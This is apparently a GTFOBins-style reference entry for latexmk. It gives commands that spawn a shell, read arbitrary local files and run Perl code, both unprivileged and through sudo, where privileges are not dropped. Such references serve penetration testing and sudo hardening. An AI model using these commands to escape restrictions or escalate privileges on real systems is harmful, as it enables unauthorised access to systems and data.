latexmk

Shell

This executable can spawn an interactive system shell.

Unprivileged
This function can be performed by any unprivileged user.
```
latexmk -pdf -pdflatex='/bin/sh #' /dev/null
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
latexmk -pdf -pdflatex='/bin/sh #' /dev/null
```

File read

This executable can read data from local files.

CommentThe read file will be part of the output.
Unprivileged
This function can be performed by any unprivileged user.
```
echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' >/path/to/temp-file
latexmk -dvi /path/to/temp-file
strings temp-file.dvi
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' >/path/to/temp-file
latexmk -dvi /path/to/temp-file
strings temp-file.dvi
```
RemarksThe content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.

Inherit

This executable can inherit functions from another.

CommentThis allows to run Perl code (...).
Unprivileged
This function can be performed by any unprivileged user.
```
latexmk -e '...'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
latexmk -e '...'
```
Functions
Inherits from perl, thus possibly granting its functions.